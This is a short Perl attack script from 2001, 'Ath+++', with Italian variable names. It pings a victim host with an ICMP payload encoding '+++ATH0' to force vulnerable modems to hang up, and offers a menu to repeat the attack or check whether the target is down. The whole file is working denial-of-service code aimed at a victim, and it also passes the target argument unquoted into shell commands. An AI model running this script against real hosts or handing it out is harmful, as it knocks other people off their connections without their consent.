<![CDATA[#! /usr/bin/perl
# Tested on: FreeBSD mulostar.mine.nu 4.2-RELEASE FreeBSD 4.2-RELEASE
# Sat Apr 14 14:28:37 CEST 2001
# root@mulostar.mine.nu:/usr/src/sys/compile/Clitoride2 i386
#######################################
# Ath+++ By GraNde_MuLo (very simple) #
#######################################
print "-----------------------------\n";
print "--- Ath+++ by GraNde_MuLo ---\n";
print "--- mail io\@\grandemulo.it ---\n";
print "-----------------------------\n";
$vittima = $ARGV[0];
if ($ARGV[0] =="") {
print "Usage: perl file.pl <victim>\n";
print "Exiting..\n";
exit;
}
sub attacco {
`ping -c 15 -p 2b2b2b415448300d $vittima`;
}
sub scelta {
print "#########################\n";
print "# 0=Exit 1=Test 2=Again #\n";
print "#########################\n";
print "\n";
print "#;"
}
&attacco;
&scelta;
&deci;
sub deci {
$scelta = <STDIN>;
chop $scelta;
if ($scelta == "0") {
print "Attacco terminato\n";
print "Exiting...\n";
exit;}
elsif ($scelta == "1") {
print "Checking host ...\n";
@check = `ping -c 5 $vittima`;
print "$check[1]\n";
sleep(2);
print "Esco...\n";
exit;} else {
print "Sending again ICMP echo request to host\n";
&attacco;
&scelta;
&deci; }
}
]]>